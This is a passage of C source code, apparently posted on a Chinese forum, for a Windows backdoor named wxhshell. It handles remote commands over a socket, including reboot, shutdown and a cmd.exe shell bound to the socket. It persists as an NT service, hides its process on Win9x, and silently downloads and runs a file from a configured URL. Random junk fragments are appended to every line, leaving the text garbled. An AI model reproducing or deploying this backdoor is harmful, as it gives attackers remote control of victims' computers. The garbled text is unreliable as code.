  } @;T?R  
  // 安装 .=% ,DT"  
  case 'i': { (Gp|K6  
    if(Install()) 6( ~DS9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nq3B(  
    else +f]\>{o4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7nOn^f D  
    break; AOVoOd+6  
    } A_}%YHb  
  // 卸载 3!<} -sW4  
  case 'r': { B_uAa5'  
    if(Uninstall()) oHj64fE9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U.0bbr  
    else @"$rR+r'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ymr\8CG/  
    break; VQ]MJjvb  
    } $ix*xm. 4m  
  // 显示 wxhshell 所在路径 DUOSL  
  case 'p': { TU,k( `tn<  
    char svExeFile[MAX_PATH]; =S|^pN  
    strcpy(svExeFile,"\n\r"); Kj`sq":Je0  
      strcat(svExeFile,ExeFile); /c9%|<O%  
        send(wsh,svExeFile,strlen(svExeFile),0); 1WbawiG}  
    break; J"W+9sI0  
    } J`@#yHL  
  // 重启 q oJ4w7  
  case 'b': { {V*OYYI`R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k w]m7 T  
    if(Boot(REBOOT)) eH y.<VX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i<]Y0_?s  
    else { Df L>fk  
    closesocket(wsh); AG==A&d>$  
    ExitThread(0); 4t;m^Iv  
    } d;c<" +  
    break; kn1+lF@  
    } A_\ZY0Xt  
  // 关机 sJ(q.FRM'  
  case 'd': { T.j&UEsd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g0~3;y  
    if(Boot(SHUTDOWN)) W=)wiRQm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <78LB/:  
    else { fX 41o#  
    closesocket(wsh); xFcRp2W9R  
    ExitThread(0); eS{ xma  
    } GOeYw[Vh  
    break; 9X2 lH~C  
    } ^"?b!=n!  
  // 获取shell }{(|^s=  
  case 's': { ie+746tFW  
    CmdShell(wsh); Bhnwb0b<  
    closesocket(wsh); NXyuv7%5=  
    ExitThread(0); te b~KM  
    break; ~jqh&u$(  
  } $EuWQq7OI2  
  // 退出 : %hxg  
  case 'x': { ~"ij,Op,3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3M&IMf,/@  
    CloseIt(wsh); (KDv>@5  
    break; w'b|*_Q4Q  
    } xp>p#c  
  // 离开 95G*i;E  
  case 'q': { h c9? z}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V,@Y,  
    closesocket(wsh); ?8LRd5LH  
    WSACleanup(); /rqaUC)A  
    exit(1); -}?ud3f<  
    break; fP9k(mQX  
        } fDa$TbhjI  
  } .C2.j[>  
  } \I4*|6kA  
qt#a_F*rV  
  // 提示信息 Y=6b oT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K)`\u7Bu  
} L,F )l2  
  } %Jr6pmc  
= +uUWJ&1G  
  return; ?+bDFM}  
} [-bT_X  
vKX $Nf  
// shell模块句柄 wPl!}HNf  
int CmdShell(SOCKET sock) Qs*6wF  
{ M!s@w%0?'  
STARTUPINFO si; \q8D7/q  
ZeroMemory(&si,sizeof(si)); =lf&mD _/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >Tm|}\qEb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zJfoU*G/B  
PROCESS_INFORMATION ProcessInfo; TZ7{cekQ  
char cmdline[]="cmd"; gr/o!NC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bkn- OG  
  return 0; #6tb{ws3  
} ly d[GfJ  
;5P>R[p  
// 自身启动模式 fQ&:1ec  
int StartFromService(void) 3}H"(5dL}z  
{ ve #cz2Z  
typedef struct oJk$ +v6  
{ QrP$5H{[E  
  DWORD ExitStatus; 042sjt  
  DWORD PebBaseAddress; =9 TAs? =  
  DWORD AffinityMask; *yv@-lP5s  
  DWORD BasePriority; ]x hmM1$  
  ULONG UniqueProcessId; 2wWL]`(E  
  ULONG InheritedFromUniqueProcessId; z:aT5D  
}   PROCESS_BASIC_INFORMATION; COw]1 R  
9 GdrJ~h  
PROCNTQSIP NtQueryInformationProcess; S!GjCog^J  
Cl;B%5yl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dJ#. m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !Cj1:P  
:zC'jceO  
  HANDLE             hProcess; m<BL/ 7  
  PROCESS_BASIC_INFORMATION pbi; ,uD>.->  
2&W(@wT$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -ANp88a  
  if(NULL == hInst ) return 0; F*QD\sG:  
=GQ?P*x|$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }0#cdw#gH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cz/mUU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?wps_XU  
lHpo/ R :  
  if (!NtQueryInformationProcess) return 0; [)`9euR%  
*|x2"?d-F:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -#b-@sD  
  if(!hProcess) return 0; -;z&">  
Q^v8n1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *n0k2 p  
WT!8.M;Kv  
  CloseHandle(hProcess); #[*e$C  
s &v<5W2P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >qn@E?Uf  
if(hProcess==NULL) return 0; R0fZ9_d7}  
fV3!x,H  
HMODULE hMod; }Kq5!XJV9C  
char procName[255]; eb:mp/  
unsigned long cbNeeded; :y'D] ,_  
_tQ=ASe0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /n7F]Ok'*  
*?gn@4Ly  
  CloseHandle(hProcess); "w`f>]YLA  
>]=1~ sF  
if(strstr(procName,"services")) return 1; // 以服务启动 I0O)MR<  
=MG  
  return 0; // 注册表启动 )\uy 0+b  
} 5cP]  
?T5^hQT   
// 主模块 _f,q8ZkSr  
int StartWxhshell(LPSTR lpCmdLine) >ofS'mp  
{ :Qu!0tY  
  SOCKET wsl; <W vuW6  
BOOL val=TRUE; MUNeGqv  
  int port=0; qTiUha9  
  struct sockaddr_in door; C%v@ u$N  
K+H?,I  
  if(wscfg.ws_autoins) Install(); Z>a_vC  
r3w.$  
port=atoi(lpCmdLine); 5SX0g(C  
,u( g#T  
if(port<=0) port=wscfg.ws_port; N7Z&_$Bx  
[*?P2.bf  
  WSADATA data; #l-,2C~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ']f]:X;6 w  
T~%5^+[h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~SJOynSz,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ls,gQ]B:P  
  door.sin_family = AF_INET; ")HTUlcAe}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sEdWBT 8  
  door.sin_port = htons(port); l~&efAJ-$  
QA.B.U7!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { < V"'j  
closesocket(wsl); .F)b9d[?  
return 1; '[5tc fG#z  
} F& H~JJ  
Px=/fO G  
  if(listen(wsl,2) == INVALID_SOCKET) { itD1r?O{pV  
closesocket(wsl); 2=!/)hw}  
return 1; n=t%,[Op  
} HqOSQ<-Fo  
  Wxhshell(wsl); *ARro Ndr  
  WSACleanup(); U*k$pp6\b~  
hS +;HB,  
return 0; 4cJ7.Pez  
xzMa[D4(  
} `X^ 4~6/q  
[fR<#1Z  
// 以NT服务方式启动 *D;B%j^;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "6pjkEt4  
{ ;pb~Zk/[,w  
DWORD   status = 0; 8.jd'yp*J  
  DWORD   specificError = 0xfffffff; V* fDvr0  
Dw[w%uz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h+.^8fPR   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V85a{OBm,8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C(iA G  
  serviceStatus.dwWin32ExitCode     = 0; Li Qs;$V  
  serviceStatus.dwServiceSpecificExitCode = 0; IwFg1\>  
  serviceStatus.dwCheckPoint       = 0; ,X\z#B  
  serviceStatus.dwWaitHint       = 0; J;"XRE[%5  
MkJL9eG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N3r{|Bu  
  if (hServiceStatusHandle==0) return; FL/y{;  
% C6 H(  
status = GetLastError(); #)>>f  
  if (status!=NO_ERROR) 9z_Gf]J~  
{ .,m$Cm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  IO>Cyo  
    serviceStatus.dwCheckPoint       = 0; [ Q=) f  
    serviceStatus.dwWaitHint       = 0; sTv/;*  
    serviceStatus.dwWin32ExitCode     = status; N4fuV?E`  
    serviceStatus.dwServiceSpecificExitCode = specificError; EN J]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wqE ]o= k  
    return; P). @o.xl  
  } c!Pi)  
p$[*GXR4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6/@ cP/  
  serviceStatus.dwCheckPoint       = 0; +-ieaF  
  serviceStatus.dwWaitHint       = 0; [(ty{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Di-"y,[  
} 5/P?@`/ eT  
(eO0 Ic[c  
// 处理NT服务事件,比如:启动、停止 92 Pp.Rh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "5dh]-m n  
{ b;m6m4i'f{  
switch(fdwControl) mvUYp,JECl  
{ R"O9~s6N  
case SERVICE_CONTROL_STOP: 1P2%n[y  
  serviceStatus.dwWin32ExitCode = 0; =nid #<X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~`-9i{L  
  serviceStatus.dwCheckPoint   = 0; #0xvxg%{  
  serviceStatus.dwWaitHint     = 0; %$]u6GKabi  
  { h.2!d0j]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \=yg@K?"AJ  
  } SfL,_X]*  
  return; uVscF 4  
case SERVICE_CONTROL_PAUSE: k92X)/ll'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %WCpn<)  
  break; |UR.7rOV  
case SERVICE_CONTROL_CONTINUE: -Qn:6M>w^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0^[ " &K/  
  break; YuPgsJ[m  
case SERVICE_CONTROL_INTERROGATE: *[yCcqN.  
  break; qKO\;e*  
}; wc__g8?'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C 7+TnJ  
} k9R1E/;  
1Tiq2+hmf  
// 标准应用程序主函数 pd7FU~-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >Q5 SJZ/  
{ ]E=JUYf0  
oTx#e[8f{  
// 获取操作系统版本 lc5NC;JR  
OsIsNt=GetOsVer(); aL=VNZ!Pqc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a-QHm;_S  
o@pM??&x  
  // 从命令行安装 Rut6m5>  
  if(strpbrk(lpCmdLine,"iI")) Install(); u5R^++  
j/Bzbjq"  
  // 下载执行文件 5@Py`  
if(wscfg.ws_downexe) { Nr(WbD[T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /pb7  
  WinExec(wscfg.ws_filenam,SW_HIDE); #Wc)wL-Tg  
} 5utj$ha2  
gWWy!H  
if(!OsIsNt) { z6{0\#'K  
// 如果时win9x,隐藏进程并且设置为注册表启动 v"$; aJ  
HideProc(); Rf%ver  
StartWxhshell(lpCmdLine); <:&w/NjbI  
} Nz:  
else mZM5aTQ3  
  if(StartFromService()) n.A  
  // 以服务方式启动 /VJ@`]jhDf  
  StartServiceCtrlDispatcher(DispatchTable); `DA=';>Y  
else _t;w n7p  
  // 普通方式启动 s{iYf :  
  StartWxhshell(lpCmdLine); K@>v|JD  
<#R7sco'  
return 0; +[F9Q,bH@b  
}
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只看该作者 1 发表于: 2006-10-10
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